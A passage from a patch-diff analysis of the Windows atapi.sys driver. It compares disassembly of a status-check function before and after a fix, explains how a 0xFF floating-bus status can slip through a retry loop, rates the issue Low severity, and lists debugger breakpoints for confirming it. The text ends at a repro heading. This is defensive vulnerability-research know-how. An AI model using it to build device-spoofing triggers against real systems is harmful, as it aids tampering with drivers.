&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001fe8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; default return = 0 (no error)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001feb:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; arg4&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001fee:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; arg3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001ff1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; arg2 (status pointer)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001ff4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; arg1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001ff7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; checks ONLY 0x7F&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001ffb:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000200f&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;;   -&amp;gt; retry loop&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001ffd:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; arg3 == 0?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002000:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0002098&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;;   yes -&amp;gt; return 0  (0xFF NOT caught)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002006:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; status == 0x00?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002009:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0002098&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;;   non-zero (incl. 0xFF) -&amp;gt; return 0&lt;/span&gt;

&lt;span class="c1"&gt;; retry loop (entered for 0x7F, or 0x00 with arg3)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000200f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002011:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002014:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1388&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002019:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_AtaPortStallExecution&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002025:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; status port handle&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002029:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_AtaPortReadPortUchar&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002035:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; *arg2 = re-read status (can be 0xFF)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002038:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000203b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0002044&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000203d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000203f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002042:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0002014&lt;/span&gt;

&lt;span class="c1"&gt;; post-loop tail (0x1c0002044..0x1c0002090 include an arg3 secondary read)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002092:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; only 0x7F re-checked&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002094:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; 0xFF -&amp;gt; dil stays 0&lt;/span&gt;

&lt;span class="c1"&gt;; return path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002098:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000209d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; return value (0 for 0xFF)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00020b3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00020b5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00020b7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00020b9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched counterpart (&lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FD8)&lt;/code&gt;) — the new entry guard&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- AtapiNoDeviceConnected @ 0x1C0001FD8 ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001ff5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; status -&amp;gt; bl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0001ff7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002006:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFh&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; NEW: floating-bus detection&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002009:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0002015&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;;   not 0xFF -&amp;gt; normal flow&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000200b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;;   return value = 1 (error)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002010:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c00020b3&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;;   return 1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002015:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; existing 0x7F check&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002018:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000202b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Caller-side change (&lt;code&gt;AtapiSendAtaIdentify (sub_1C00020C0)&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED (0x1C00020C0)               ; PATCHED (0x1C00020E0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002164:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFh&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; (pre-check removed)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002167:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c00021da&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; (pre-check removed)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0002174:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0001fc8&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; 0x1c0002187: call 0x1c0001fd8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The same &lt;code&gt;cmp al, 0FFh; jz&lt;/code&gt; pre-check is removed from &lt;code&gt;AtapiSendAtaCommand&lt;/code&gt; (unpatched at &lt;code&gt;0x1c000226c&lt;/code&gt;, absent in the patched build before its &lt;code&gt;call AtapiNoDeviceConnected&lt;/code&gt; at &lt;code&gt;0x1c0002286&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;The window the patch closes requires all of the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;An I/O operation reaches &lt;code&gt;AtapiNoDeviceConnected (sub_1C0001FC8)&lt;/code&gt; with an initial status of &lt;code&gt;0x7F&lt;/code&gt; (device entering diagnostic) or &lt;code&gt;0x00&lt;/code&gt; with &lt;code&gt;arg3 != 0&lt;/code&gt;. This is what causes the function to enter its retry loop.&lt;/li&gt;
&lt;li&gt;During the loop's &lt;code&gt;AtaPortStallExecution(0x1388)&lt;/code&gt; poll window (three iterations, &lt;code&gt;0x1c0002014&lt;/code&gt;–&lt;code&gt;0x1c0002042&lt;/code&gt;), the status port begins reading &lt;code&gt;0xFF&lt;/code&gt;, i.e. the device becomes electrically absent. In practice this means a physical hot-unplug of a device backed by this miniport, or hardware/emulation that returns &lt;code&gt;0x7F&lt;/code&gt; to the first status poll and &lt;code&gt;0xFF&lt;/code&gt; to a later poll.&lt;/li&gt;
&lt;li&gt;No specific IOCTL code, buffer layout, or IRB field value is needed on the request itself; the condition is a device/timing state, not attacker-controlled input data.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Observable difference between builds:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched: &lt;code&gt;AtapiNoDeviceConnected&lt;/code&gt; returns &lt;code&gt;0&lt;/code&gt; (&lt;code&gt;al = 0&lt;/code&gt;) even though &lt;code&gt;byte [r15] == 0xFF&lt;/code&gt;; the caller routes to result code &lt;code&gt;6&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Patched: &lt;code&gt;AtapiNoDeviceConnected&lt;/code&gt; returns &lt;code&gt;1&lt;/code&gt; for a &lt;code&gt;0xFF&lt;/code&gt; status; the caller routes to result code &lt;code&gt;5&lt;/code&gt; (the same device-error code its own &lt;code&gt;0xFF&lt;/code&gt; pre-check produces).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Delivered effect:&lt;/strong&gt; correct classification of a floating-bus / absent-device status inside &lt;code&gt;AtapiNoDeviceConnected&lt;/code&gt;'s retry loop. In the unpatched build this narrow window classified an absent device as retry-class rather than device-error. The realistic worst case is a reliability issue — the driver may retry rather than fail a request on a removed device or one presenting a crafted status sequence — reachable only through physical device removal or malicious/emulated hardware, not through unprivileged software input. The change produces no memory corruption, information disclosure, or control-flow primitive.&lt;/p&gt;
&lt;p&gt;The callers already guard &lt;code&gt;0xFF&lt;/code&gt; present at call time, so this is a defense-in-depth hardening that also covers the re-read case. That combination is why the severity is Low.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Verification&lt;/h2&gt;
&lt;p&gt;Assume a kernel debugger attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;atapi.sys&lt;/code&gt;. Rebase the addresses below to the loaded image base.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;; Status classifier entry&lt;/span&gt;
bp atapi+0x1FC8

&lt;span class="c"&gt;; Inside the retry loop&lt;/span&gt;
bp atapi+0x2029            ; AtaPortReadPortUchar call — al holds the re-read status
bp atapi+0x2035            ; *arg2 = al — confirm 0xFF is written back unchecked

&lt;span class="c"&gt;; Post-loop classification&lt;/span&gt;
bp atapi+0x2092            ; &amp;#39;cmp al, 0x7f&amp;#39; — verify 0xFF is not caught here
bp atapi+0x209d            ; &amp;#39;mov al, dil&amp;#39; — return value; 0 for 0xFF in unpatched

&lt;span class="c"&gt;; Caller pre-checks (present in unpatched)&lt;/span&gt;
bp atapi+0x2164            ; AtapiSendAtaIdentify &amp;#39;cmp dl, 0xff&amp;#39;
bp atapi+0x226c            ; AtapiSendAtaCommand &amp;#39;cmp al, 0xff&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stop&lt;/th&gt;
&lt;th&gt;Register / Memory&lt;/th&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;atapi+0x1FC8&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt; → &lt;code&gt;[rdx]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial status byte. &lt;code&gt;0x7F&lt;/code&gt; or &lt;code&gt;0x00&lt;/code&gt; means the retry loop will run.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;atapi+0x2029&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;[rsi+0x48]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The status port handle being read.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;atapi+0x2035&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;al&lt;/code&gt;, &lt;code&gt;[r15]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Confirm &lt;code&gt;*arg2&lt;/code&gt; is set to the re-read status (&lt;code&gt;0xFF&lt;/code&gt;) with no check.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;atapi+0x2092&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;al&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setz dil&lt;/code&gt; sets &lt;code&gt;dil=1&lt;/code&gt; only for &lt;code&gt;al == 0x7F&lt;/code&gt;; &lt;code&gt;al=0xFF&lt;/code&gt; leaves &lt;code&gt;dil=0&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;atapi+0x209d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dil&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Return value: &lt;code&gt;0&lt;/code&gt; for &lt;code&gt;0xFF&lt;/code&gt; in the unpatched binary; &lt;code&gt;1&lt;/code&gt; in the patched binary (via the new &lt;code&gt;0x2006&lt;/code&gt; guard).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Deterministic repro&lt;/h3&gt;
